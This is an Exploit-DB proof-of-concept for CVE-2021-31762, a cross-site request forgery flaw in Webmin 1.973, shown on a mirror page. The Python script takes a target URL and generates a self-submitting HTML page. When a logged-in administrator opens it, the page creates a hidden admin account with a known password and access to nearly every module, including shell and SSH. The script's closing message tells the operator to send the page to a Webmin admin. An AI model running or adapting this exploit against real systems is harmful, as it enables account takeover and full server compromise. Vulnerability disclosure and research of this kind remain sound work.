Webmin 1.973 – ‘save_user.cgi’ Cross-Site Request Forgery (CSRF)

  • 作者： Mesh3l_911
    日期： 2021-07-14
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/50126/
  • # Exploit Title: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: *Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE : CVE-2021-31762
# POC: https://youtu.be/qCvEXwyaF5U


import time, subprocess

print('''\033[1;37m

 ____ _ _______________ __
|\/| | | |___ \| ||___/ _ \| | | || | 
| \/ | ______| |__ __) | | / / | | | | __| |_ ____| | __
| |\/| |/ _ \/ __| '_ \ |__ <| |/ /| | | | |/ _` | | | |/ __| |/ /
| || |__/\__ \ | | |___) | |_ _/ /_| |_| | | (_| | |_| | (__| < 
|_||_|\___||___/_| |_|____/|_| (_|_)/_____\___/|_|\__,_|\__, |\___|_|\_/
 __/ |
|___/ 

\033[1;m''')

for i in range(101):
print(
"\r\033[1;36m [>] POC By \033[1;m \033[1;37mMesh3l\033[1;m \033[1;36m ( \033[1;m\033[1;37m@Mesh3l_911\033[1;m\033[1;36m )& \033[1;m \033[1;37mZ0ldyck\033[1;m\033[1;36m( \033[1;m\033[1;37m@electronicbots\033[1;m\033[1;36m ) \033[1;m {} \033[1;m".format(
i), "\033[1;36m%\033[1;m", end="")
time.sleep(0.02)
print("\n\n")

target = input(
"\033[1;36m \nPlease input ur target's webmin path e.g. ( https://webmin.Mesh3l-Mohammed.com/ ) > \033[1;m")

if target.endswith('/'):
target = target + 'acl/save_user.cgi'
else:
target = target + '/acl/save_user.cgi'


def CSRF_Generator():
with open('CSRF_POC.html', 'w') as POC:
POC.write \
('''

<html>
<head>
<meta name="referrer" content="never">
</head>
<body>
<script>history.pushState('', '', '/')</script>
<form action="'''+target+'''" method="POST">
<input type="hidden" name="safe" value="" />
<input type="hidden" name="name" value="Mesh3l&#95;Z0ldyck" />
<input type="hidden" name="pass&#95;def" value="0" />
<input type="hidden" name="pass" value="Mesh3l&#95;Z0ldyck123" />
<input type="hidden" name="real" value="Mesh3l&#95;Z0ldyck" />
<input type="hidden" name="cert&#95;def" value="1" />
<input type="hidden" name="lang&#95;def" value="1" />
<input type="hidden" name="lang" value="af" />
<input type="hidden" name="notabs" value="0" />
<input type="hidden" name="theme&#95;def" value="1" />
<input type="hidden" name="theme" value="" />
<input type="hidden" name="overlay&#95;def" value="1" />
<input type="hidden" name="overlay" value="overlay&#45;theme" />
<input type="hidden" name="logouttime&#95;def" value="1" />
<input type="hidden" name="minsize&#95;def" value="1" />
<input type="hidden" name="ipmode" value="0" />
<input type="hidden" name="ips" value="" />
<input type="hidden" name="days&#95;def" value="1" />
<input type="hidden" name="hours&#95;def" value="1" />
<input type="hidden" name="hours&#95;hfrom" value="" />
<input type="hidden" name="hours&#95;mfrom" value="" />
<input type="hidden" name="hours&#95;hto" value="" />
<input type="hidden" name="hours&#95;mto" value="" />
<input type="hidden" name="mod" value="backup&#45;config" />
<input type="hidden" name="mod" value="change&#45;user" />
<input type="hidden" name="mod" value="webmincron" />
<input type="hidden" name="mod" value="usermin" />
<input type="hidden" name="mod" value="webminlog" />
<input type="hidden" name="mod" value="webmin" />
<input type="hidden" name="mod" value="help" />
<input type="hidden" name="mod" value="servers" />
<input type="hidden" name="mod" value="acl" />
<input type="hidden" name="mod" value="bacula&#45;backup" />
<input type="hidden" name="mod" value="init" />
<input type="hidden" name="mod" value="passwd" />
<input type="hidden" name="mod" value="quota" />
<input type="hidden" name="mod" value="mount" />
<input type="hidden" name="mod" value="fsdump" />
<input type="hidden" name="mod" value="ldap&#45;client" />
<input type="hidden" name="mod" value="ldap&#45;useradmin" />
<input type="hidden" name="mod" value="logrotate" />
<input type="hidden" name="mod" value="mailcap" />
<input type="hidden" name="mod" value="mon" />
<input type="hidden" name="mod" value="pam" />
<input type="hidden" name="mod" value="certmgr" />
<input type="hidden" name="mod" value="proc" />
<input type="hidden" name="mod" value="at" />
<input type="hidden" name="mod" value="cron" />
<input type="hidden" name="mod" value="sentry" />
<input type="hidden" name="mod" value="man" />
<input type="hidden" name="mod" value="syslog" />
<input type="hidden" name="mod" value="syslog&#45;ng" />
<input type="hidden" name="mod" value="system&#45;status" />
<input type="hidden" name="mod" value="useradmin" />
<input type="hidden" name="mod" value="apache" />
<input type="hidden" name="mod" value="bind8" />
<input type="hidden" name="mod" value="pserver" />
<input type="hidden" name="mod" value="dhcpd" />
<input type="hidden" name="mod" value="dhcp&#45;dns" />
<input type="hidden" name="mod" value="dovecot" />
<input type="hidden" name="mod" value="exim" />
<input type="hidden" name="mod" value="fetchmail" />
<input type="hidden" name="mod" value="foobar" />
<input type="hidden" name="mod" value="frox" />
<input type="hidden" name="mod" value="jabber" />
<input type="hidden" name="mod" value="ldap&#45;server" />
<input type="hidden" name="mod" value="majordomo" />
<input type="hidden" name="mod" value="htpasswd&#45;file" />
<input type="hidden" name="mod" value="minecraft" />
<input type="hidden" name="mod" value="mysql" />
<input type="hidden" name="mod" value="openslp" />
<input type="hidden" name="mod" value="postfix" />
<input type="hidden" name="mod" value="postgresql" />
<input type="hidden" name="mod" value="proftpd" />
<input type="hidden" name="mod" value="procmail" />
<input type="hidden" name="mod" value="qmailadmin" />
<input type="hidden" name="mod" value="mailboxes" />
<input type="hidden" name="mod" value="sshd" />
<input type="hidden" name="mod" value="samba" />
<input type="hidden" name="mod" value="sendmail" />
<input type="hidden" name="mod" value="spam" />
<input type="hidden" name="mod" value="squid" />
<input type="hidden" name="mod" value="sarg" />
<input type="hidden" name="mod" value="wuftpd" />
<input type="hidden" name="mod" value="webalizer" />
<input type="hidden" name="mod" value="link" />
<input type="hidden" name="mod" value="adsl&#45;client" />
<input type="hidden" name="mod" value="bandwidth" />
<input type="hidden" name="mod" value="fail2ban" />
<input type="hidden" name="mod" value="firewalld" />
<input type="hidden" name="mod" value="ipsec" />
<input type="hidden" name="mod" value="krb5" />
<input type="hidden" name="mod" value="firewall" />
<input type="hidden" name="mod" value="firewall6" />
<input type="hidden" name="mod" value="exports" />
<input type="hidden" name="mod" value="exports&#45;nfs4" />
<input type="hidden" name="mod" value="xinetd" />
<input type="hidden" name="mod" value="inetd" />
<input type="hidden" name="mod" value="pap" />
<input type="hidden" name="mod" value="ppp&#45;client" />
<input type="hidden" name="mod" value="pptp&#45;client" />
<input type="hidden" name="mod" value="pptp&#45;server" />
<input type="hidden" name="mod" value="stunnel" />
<input type="hidden" name="mod" value="shorewall" />
<input type="hidden" name="mod" value="shorewall6" />
<input type="hidden" name="mod" value="itsecur&#45;firewall" />
<input type="hidden" name="mod" value="tcpwrappers" />
<input type="hidden" name="mod" value="idmapd" />
<input type="hidden" name="mod" value="filter" />
<input type="hidden" name="mod" value="burner" />
<input type="hidden" name="mod" value="grub" />
<input type="hidden" name="mod" value="lilo" />
<input type="hidden" name="mod" value="raid" />
<input type="hidden" name="mod" value="lvm" />
<input type="hidden" name="mod" value="fdisk" />
<input type="hidden" name="mod" value="lpadmin" />
<input type="hidden" name="mod" value="smart&#45;status" />
<input type="hidden" name="mod" value="time" />
<input type="hidden" name="mod" value="vgetty" />
<input type="hidden" name="mod" value="iscsi&#45;client" />
<input type="hidden" name="mod" value="iscsi&#45;server" />
<input type="hidden" name="mod" value="iscsi&#45;tgtd" />
<input type="hidden" name="mod" value="iscsi&#45;target" />
<input type="hidden" name="mod" value="cluster&#45;passwd" />
<input type="hidden" name="mod" value="cluster&#45;copy" />
<input type="hidden" name="mod" value="cluster&#45;cron" />
<input type="hidden" name="mod" value="cluster&#45;shell" />
<input type="hidden" name="mod" value="cluster&#45;shutdown" />
<input type="hidden" name="mod" value="cluster&#45;usermin" />
<input type="hidden" name="mod" value="cluster&#45;useradmin" />
<input type="hidden" name="mod" value="cluster&#45;webmin" />
<input type="hidden" name="mod" value="cfengine" />
<input type="hidden" name="mod" value="heartbeat" />
<input type="hidden" name="mod" value="shell" />
<input type="hidden" name="mod" value="custom" />
<input type="hidden" name="mod" value="disk&#45;usage" />
<input type="hidden" name="mod" value="export&#45;test" />
<input type="hidden" name="mod" value="ftelnet" />
<input type="hidden" name="mod" value="filemin" />
<input type="hidden" name="mod" value="flashterm" />
<input type="hidden" name="mod" value="tunnel" />
<input type="hidden" name="mod" value="file" />
<input type="hidden" name="mod" value="phpini" />
<input type="hidden" name="mod" value="cpan" />
<input type="hidden" name="mod" value="htaccess&#45;htpasswd" />
<input type="hidden" name="mod" value="telnet" />
<input type="hidden" name="mod" value="ssh" />
<input type="hidden" name="mod" value="ssh2" />
<input type="hidden" name="mod" value="shellinabox" />
<input type="hidden" name="mod" value="status" />
<input type="hidden" name="mod" value="ajaxterm" />
<input type="hidden" name="mod" value="updown" />
<input type="hidden" name="mod" value="vnc" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>


''')
POC.close()

print(
"\033[1;36m\nThe CSRF_POC has been generated successfully , send it to a Webmin's Admin and ur privileged user creds would be \n\nUsername: \033[1;m\033[1;37mMesh3l_Z0ldyck\033[1;m\n\033[1;36mPassword:\033[1;m \033[1;37mMesh3l_Z0ldyck123\n\033[1;m\n\n\033[1;36mHappy Hunting ^_^ \n\033[1;m")



def main():
CSRF_Generator()


if __name__ == '__main__':
main()